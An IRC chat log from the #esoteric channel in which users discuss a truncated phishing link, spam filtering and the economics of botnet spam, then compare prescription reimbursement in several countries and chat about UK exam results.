http://www.trimitra-indolestari.co.id/templates/... though.) < 1408650447 0 :fizzie!?@? PRIVMSG #esoteric :Yes. It's being sent to an @aalto.fi address, so it's very targeted. < 1408650448 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you shouldn't copy links you find in spam, in case someone clicks on them < 1408650460 0 :fizzie!?@? PRIVMSG #esoteric :That's not the full link. < 1408650477 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah right < 1408650483 0 :olsner!~salparot@c83-252-201-82.bredband.comhem.se PRIVMSG #esoteric :ooh, I actually have one spam on my work mail (in the last month, or however long gmail keeps them before autodeleting) < 1408650519 0 :fizzie!?@? PRIVMSG #esoteric :Based on the warning, there's a form at the link that asks for your username and password. < 1408650526 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that said, I'm not sure spam is that much of a problem any more < 1408650543 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I have zero spam filtering on my nethack4.org address, and the spammers have nonetheless mostly given up on it < 1408650700 0 :fizzie!?@? PRIVMSG #esoteric :I get maybe a 10-20 pieces of spam at the zem.fi (or gehennom.org; it goes to the same place) address daily, and approximately 95% of them are redirected to the spam folder by the most trivial of filtering rules ever, which is just id=RULE-01 ; rbl=zen.spamhaus.org,bl.spamcop.net ; rblcount>=1 ; action=PREPEND X-Zem-DNSBL: BAD [$$dnsbltext] < 1408650738 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: huh, is that also a nethack-related address? < 1408650754 0 :fizzie!?@? PRIVMSG #esoteric :I had a public nethack server there back in time. < 1408651080 0 :fizzie!?@? PRIVMSG #esoteric :(And I'm providing a couple of subdomains for friends; these have nothing whatsoever to do with the domain name, but have just become established, and therefore don't want to move out.) < 1408651181 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Spammers are stupid. < 1408651193 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :They try to make money by selling me medical drugs. < 1408651209 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Like I couldn't get them for free in the drug store anyway < 1408651232 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1408651239 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I should write a paper about how to send personalized spam < 1408651266 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408651333 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :with a bot... < 1408651337 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :written in haskell < 1408651341 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :for academic purposes < 1408651370 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :using quasiquoters < 1408651373 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :whatever those are < 1408651825 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :mroman: you misunderstand the business < 1408651852 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :mroman: thinking of filter criteria for spam is wasted effort when you can use that time to send spam to more people < 1408651860 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :those people will do the filtering for you < 1408651960 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I actually think that most people who send spam make their money off spam-sending services, which they sell to the people hoping to /actually/ make money < 1408651983 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :true < 1408652431 0 :fizzie!?@? PRIVMSG #esoteric :"After 26 days, and almost 350 million e-mail messages, only 28 sales resulted". (Kanich et al., "Spamalytics: An Empirical Analysis of Spam Marketing Conversion", where they infiltrate the Storm botnet and collect statistics.) < 1408652467 0 :Bike!~Glossina@69.166.47.145 PRIVMSG #esoteric :that's almost more than i'd expect < 1408652482 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :more than one per day? < 1408652498 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :no wonder spam is so prevalent < 1408652576 0 :not^v!~notnot^v@2601:4:4500:e15:ad52:9b3d:8ee3:81eb QUIT :Quit: http://i.imgur.com/Akc6r.gif < 1408652596 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Spam has been likened to the Tragedy of the Commons, for good reason. < 1408652598 0 :fizzie!?@? PRIVMSG #esoteric :The paper refers to an estimate that buying spam delivery by retail costs $80/million messages, which probably wouldn't make that a particularly cost-effective figure. < 1408652673 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :email spam, not paper spam? < 1408652681 0 :fizzie!?@? PRIVMSG #esoteric :Yes. < 1408652685 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that seems like a pretty expensive price, really < 1408652703 0 :fizzie!?@? PRIVMSG #esoteric :It does. I didn't bother to follow through the reference they got the number from. < 1408652723 0 :fizzie!?@? PRIVMSG #esoteric :This is slightly old work (2008), which might make a difference. < 1408652842 0 :fizzie!?@? PRIVMSG #esoteric :Their "Pharmacy" dataset had 347,590,389 spam targets, an estimated 82,700,000 (23.8%) recipients where the responsible mail server actually accepted the message, 10,522 (0.00303%) visits to the spam site, and those 28 (0.0000081%) sales. < 1408652937 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :huh, that's a pretty bad conversion rate after clicking the link, I thought that'd be higher < 1408652949 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I wonder how many of those visits were intentional, and how many were someone accidentally clicking the link? < 1408652964 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, looks like a DDOS could /completely/ throw off the statistics < 1408652969 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :or some browser doing prefetching < 1408652994 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(which I imagine is quite possible in connection with webmail) < 1408653020 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I can't imagine spam generating reasonable profit < 1408653110 0 :fizzie!?@? PRIVMSG #esoteric :Of the 28 sales, 27 were for "male-enhancement products", with an average purchase price of about $100. < 1408653117 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but sending spam dosn't cost that much < 1408653143 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: now I wonder if those products even actually worked < 1408653148 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but isn't buying those products in your local pharmacy much cheaper? < 1408653162 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :mroman: well, apparently the first ever spam message (for lawyers, on Usenet) worked quite well, and it was massively controversial < 1408653168 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :it's probably even covered by insurance < 1408653179 0 :fizzie!?@? PRIVMSG #esoteric :The direct extrapolation (which might be off by quite a whole lot) yields a revenue estimate of $3.5M/year for the Storm botnet entire. < 1408653233 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :although covered by insurance doesn't imply that it's free < 1408653260 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :depends on your franchise < 1408653351 0 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1408653366 0 :fizzie!?@? PRIVMSG #esoteric :They speculate that Storm's operators are "vertically integrated" (such a wonderful phrase) and are doing the spamming themselves, and not someone else buying botnet time from them. Based on the fact that the same pharmacy campaign was running a long time and therefore was somewhat likely to be profitable. < 1408653456 0 :AnotherTest!~turingcom@d51A45FF2.access.telenet.be QUIT :Ping timeout: 245 seconds < 1408653499 0 :fizzie!?@? PRIVMSG #esoteric :It's possibly a bit moot now that Storm's I guess mostly just a memory. < 1408653546 0 :fizzie!?@? PRIVMSG #esoteric :Also people might be more comfortable buying their male-enhancement products online instead of at the local pharmacy. < 1408653596 0 :Bike!~Glossina@69.166.47.145 QUIT :Ping timeout: 250 seconds < 1408653744 0 :fizzie!?@? PRIVMSG #esoteric :I also have this vague feeling that here you'd need to demonstrate a medical condition in order to receive reimbursements. (I don't know really anything about insurance-based healthcare systems.) < 1408653790 0 :fizzie!?@? PRIVMSG #esoteric :"You can be reimbursed for the cost of medicines that a doctor has prescribed to you for the treatment of an illness. -- The reimbursement only covers necessary medicine expenses. To qualify for a reimbursement, you must take the medicine as instructed and purchase it for 3 months' use at a time in the most economical package size." < 1408653840 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the way it works in the UK, is that the doctor prescribes medicine, then you can buy it from a pharmacist for a stock (and very small, less than £10) price < 1408653843 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and the government pays for the rest < 1408653847 0 :fizzie!?@? PRIVMSG #esoteric :"Further, the medicine, emollient cream or clincal nutrient you are purchasing must have been confirmed as reimbursable and as having a reasonable wholesale price by the Pharmaceuticals Pricing Board, which operates in affiliation with the Ministry of Social Affairs and Health." < 1408653875 0 :fizzie!?@? PRIVMSG #esoteric :That's quite close to the system here, except the reimbursement is generally some percentage off the "reasonable wholesale price" mentioned there. < 1408653948 0 :fizzie!?@? PRIVMSG #esoteric :And if there are several equivalent alternatives in a group, the reimbursement amount is computed based on the least expensive of them. < 1408654002 0 :fizzie!?@? PRIVMSG #esoteric :"Basic rate" is a 35% discount, "lower special" rate is a 65% discount, and "higher special" rate is a 100% discount except for a fixed 3 eur "copayment". < 1408654060 0 :fizzie!?@? PRIVMSG #esoteric :And if you have to buy more than €610 worth of medicine per year, the costs above that are reimbursed in full, except for a fixed €1.50 payment. < 1408654195 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1408654215 0 :J_Arcane!~jarcane@dsl-trebrasgw2-54f949-238.dhcp.inet.fi PRIVMSG #esoteric :The Finnish system is pretty much price-fixed + an automatic discount, with possible further reimbursement through the social services. < 1408654244 0 :J_Arcane!~jarcane@dsl-trebrasgw2-54f949-238.dhcp.inet.fi PRIVMSG #esoteric :But, well. Nordics. :D < 1408654309 0 :Bike!~Glossina@69.166.47.145 JOIN :#esoteric < 1408654771 0 :Bicyclidine!~Glossina@69.166.47.145 JOIN :#esoteric < 1408654815 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ah the bikes are invading < 1408654871 0 :fizzie!?@? PRIVMSG #esoteric :It's like living in the Netherlands. < 1408654879 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :or copenhagen < 1408654916 0 :douglass_!~iridium@home-on-the-dome.mit.edu QUIT :Quit: Lost terminal < 1408655231 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :fizzie: Of you course you need to demonstrate a medical condition < 1408655252 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but that's where your family doctor comes into place < 1408655317 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :they usually don't hesistate writing prespriction < 1408655436 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :although I don't know very much about male-enhancement prescriptions < 1408655494 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but if you're unscrupulous enough you can get free massages through your doctor < 1408655567 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :the only real problem of that system is if you want to visit another doctor < 1408655570 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :or a specialist < 1408655601 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :that's essentially free income for the doctor since he needs to re-assign you to another doctor < 1408655606 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :and doctors do nothing for free < 1408655638 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :and they charge around 50 CHF just for a 2 min phonecall < 1408655728 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :ais523: that's very similar to the system here, except for the "government" part. < 1408655737 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :Most drugs are not covered by public healthcare, and private plans are needed < 1408655742 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :coppro: you have health insurance pay instead? < 1408655753 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :yeah < 1408655775 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :it's also difficult to leave the doctor's office without meds < 1408655779 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :it's pretty much standard for any employer worth their salt to provide a health + dental plan; student associations arrange them for students < 1408655791 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so this is pretty similar to the US system < 1408655799 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :yeah < 1408655810 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :but the actual consultation with the doctor is covered publicly < 1408655860 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :in switzerland employers actually HAVE TO provide health plan < 1408655860 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's also the case in the UK, there are numerous doctor surgeries you can just drop into or make an appointment with < 1408655871 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :assuming you're covered by the NHS (which is true if you're British and normally true if you're EU) < 1408655878 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :some sort of health plan < 1408655892 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :empolyers are required to insure you for injuries < 1408655905 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but insurance for illnesses in general is something you have to buy private < 1408655911 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :and by have to buy I mean you HAVE TO < 1408655920 0 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :by law you are required to have health insurance < 1408655958 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :ais523: when is it not true for EU citizens? < 1408655989 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :coppro: well your own government has to cover the cost, and you have to have documentation of that < 1408656001 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and sometimes it's simpler to pay on travel insurance instead < 1408656004 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :ah ok < 1408656008 0 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :mroman: there is a mandatory public insurance program here for on-the-job injuries < 1408656428 0 :fizzie!?@? PRIVMSG #esoteric :I'm not sure we have very many individual private doctors. I mean, I'm sure they exist (especially individual specialists), but when I think of private healthcare, I think of a couple of big companies that provide an array of services. Basically, the same as the public clinics except with more cost and (on average?) less suck. < 1408656433 0 :fizzie!?@? PRIVMSG #esoteric :Many (most?) employers have a corporate account with one of them. All university faculty goes to Terveystalo.com, for example. < 1408656451 0 :fizzie!?@? PRIVMSG #esoteric :(Except perhaps for dental care, for which there's mostly a number of smaller, maybe even one-doctor outfits.) < 1408656842 0 :fizzie!?@? PRIVMSG #esoteric :People keep calling Terveystalo (lit. "Health house") Arvaustalo (lit. "Guessing house"), though. < 1408657610 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :puzzle palace < 1408657612 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hmm. < 1408657824 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408657826 0 :ais523!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 260 seconds < 1408658155 0 :lexande!arapp@lara.ugcs.caltech.edu PART #esoteric : < 1408658319 0 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1408658371 0 :MoALTz!~no@user-164-126-226-95.play-internet.pl JOIN :#esoteric < 1408658751 0 :Bicyclidine!~Glossina@69.166.47.145 QUIT :Ping timeout: 240 seconds < 1408658764 0 :Bicyclidine!~Glossina@69.166.47.145 JOIN :#esoteric < 1408658835 0 :Patashu!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1408659401 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :good god i still can't believe that the english base university entrance on gcse results < 1408659431 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :why < 1408659437 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :is it like SAT in terms of: being shit < 1408659454 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :because you sit them when you're like— young! < 1408659494 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :what are you even doing the next two years of school for! < 1408659549 0 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Quit: :qa! < 1408659686 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Bicyclidine, well this year the standard news headline is "exam results are up overall but there has been a decline in english scores" < 1408659720 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :guess which subject the tory education minister picked out for particular interest? < 1408659731 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :heh < 1408659847 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :his 'force schools to use only TRUE BRITISH LITERATURE' policy was a particular highlight < 1408659876 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :well, it wouldn't be public education without nationalism. < 1408659911 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :especially in britain, where you're so serious about it you even imposed it in colonies :D < 1408659952 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :come on, we're better than the french < 1408659982 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :and also hitler and belgium. congrats! < 1408660088 0 :Patashu!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Ping timeout: 272 seconds < 1408660176 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :how could you be worse than belgium < 1408660213 0 :Bicyclidine!~Glossina@69.166.47.145 PRIVMSG #esoteric :the minds of the greatest historians have deliberated on this question but have yet to find an answer < 1408660400 0 :`^_^!~nycs@gw.hq.meetup.com JOIN :#esoteric < 1408660408 0 :`^_^!?@? NICK :`^_^v < 1408660961 0 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1408661002 0 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1408662026 0 :Bicyclidine!~Glossina@69.166.47.145 QUIT :Ping timeout: 250 seconds < 1408662635 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1408662943 0 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1408662971 0 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1408663243 0 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 250 seconds < 1408663584 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408663950 0 :mihow!~mihow@108.30.58.169 QUIT :Quit: mihow < 1408664146 0 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408664296 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 246 seconds < 1408664847 0 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1408664943 0 :Sgeo!~quassel@ool-44c2aebc.dyn.optonline.net JOIN :#esoteric